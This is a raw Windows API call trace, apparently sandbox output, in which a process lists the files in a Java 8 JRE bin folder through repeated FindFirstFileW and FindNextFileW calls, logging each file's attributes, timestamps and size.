	[0244.479] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\*", lpFindFileData=0xc0001df620 | out: lpFindFileData=0xc0001df620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0244.578] SetEvent (hEvent=0x124) returned 1
	[0244.578] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.588] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x172440, dwReserved0=0x0, dwReserved1=0x0, cFileName="awt.dll", cAlternateFileName="")) returned 1
	[0244.588] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bci.dll", cAlternateFileName="")) returned 1
	[0244.588] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcpr.dll", cAlternateFileName="")) returned 1
	[0244.588] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15040, dwReserved0=0x0, dwReserved1=0x0, cFileName="decora_sse.dll", cAlternateFileName="DECORA~1.DLL")) returned 1
	[0244.588] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8f840, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.dll", cAlternateFileName="")) returned 1
	[0244.588] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dtplugin", cAlternateFileName="")) returned 1
	[0244.588] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1
	[0244.588] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6040, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_socket.dll", cAlternateFileName="DT_SOC~1.DLL")) returned 1
	[0244.588] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21440, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.dll", cAlternateFileName="")) returned 1
	[0244.588] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x43040, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontmanager.dll", cAlternateFileName="FONTMA~1.DLL")) returned 1
	[0244.588] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2da40, dwReserved0=0x0, dwReserved1=0x0, cFileName="fxplugins.dll", cAlternateFileName="FXPLUG~1.DLL")) returned 1
	[0244.589] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x40e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass.dll", cAlternateFileName="")) returned 1
	[0244.589] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6f440, dwReserved0=0x0, dwReserved1=0x0, cFileName="glib-lite.dll", cAlternateFileName="GLIB-L~1.DLL")) returned 1
	[0244.589] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x97440, dwReserved0=0x0, dwReserved1=0x0, cFileName="gstreamer-lite.dll", cAlternateFileName="GSTREA~1.DLL")) returned 1
	[0244.589] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x26a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hprof.dll", cAlternateFileName="")) returned 1
	[0244.589] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e240, dwReserved0=0x0, dwReserved1=0x0, cFileName="instrument.dll", cAlternateFileName="INSTRU~1.DLL")) returned 1
	[0244.589] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pcsc.dll", cAlternateFileName="")) returned 1
	[0244.589] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf840, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pkcs11.dll", cAlternateFileName="")) returned 1
	[0244.589] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5240, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaas_nt.dll", cAlternateFileName="")) returned 1
	[0244.589] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jabswitch.exe", cAlternateFileName="JABSWI~1.EXE")) returned 1
	[0244.589] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="java-rmi.exe", cAlternateFileName="")) returned 1
	[0244.589] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.dll", cAlternateFileName="")) returned 1
	[0244.589] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe", cAlternateFileName="")) returned 1
	[0244.589] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x22c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="JavaAccessBridge-64.dll", cAlternateFileName="JAVAAC~1.DLL")) returned 1
	[0244.589] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.cpl", cAlternateFileName="")) returned 1
	[0244.590] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.exe", cAlternateFileName="")) returned 1
	[0244.590] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_font.dll", cAlternateFileName="JAVAFX~1.DLL")) returned 1
	[0244.590] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x83640, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_font_t2k.dll", cAlternateFileName="JAVAFX~2.DLL")) returned 1
	[0244.590] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1f440, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_iio.dll", cAlternateFileName="JAVAFX~3.DLL")) returned 1
	[0244.590] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe", cAlternateFileName="")) returned 1
	[0244.590] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 1
	[0244.590] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="java_crw_demo.dll", cAlternateFileName="JAVA_C~1.DLL")) returned 1
	[0244.590] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jawt.dll", cAlternateFileName="")) returned 1
	[0244.590] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="JAWTAccessBridge-64.dll", cAlternateFileName="JAWTAC~1.DLL")) returned 1
	[0244.596] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x31440, dwReserved0=0x0, dwReserved1=0x0, cFileName="jdwp.dll", cAlternateFileName="")) returned 1
	[0244.596] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.dll", cAlternateFileName="")) returned 1
	[0244.596] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x22240, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxmedia.dll", cAlternateFileName="")) returned 1
	[0244.596] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7511d3f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7511d3f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2794a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxwebkit.dll", cAlternateFileName="JFXWEB~1.DLL")) returned 1
	[0244.596] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jjs.exe", cAlternateFileName="")) returned 1
	[0244.596] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2aa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jli.dll", cAlternateFileName="")) returned 1
	[0244.596] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa897bfc2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x48440, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2iexp.dll", cAlternateFileName="")) returned 1
	[0244.596] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa897bfc2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa897bfc2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1b640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2launcher.exe", cAlternateFileName="JP2LAU~1.EXE")) returned 1
	[0244.596] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2native.dll", cAlternateFileName="JP2NAT~1.DLL")) returned 1
	[0244.596] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2ssv.dll", cAlternateFileName="")) returned 1
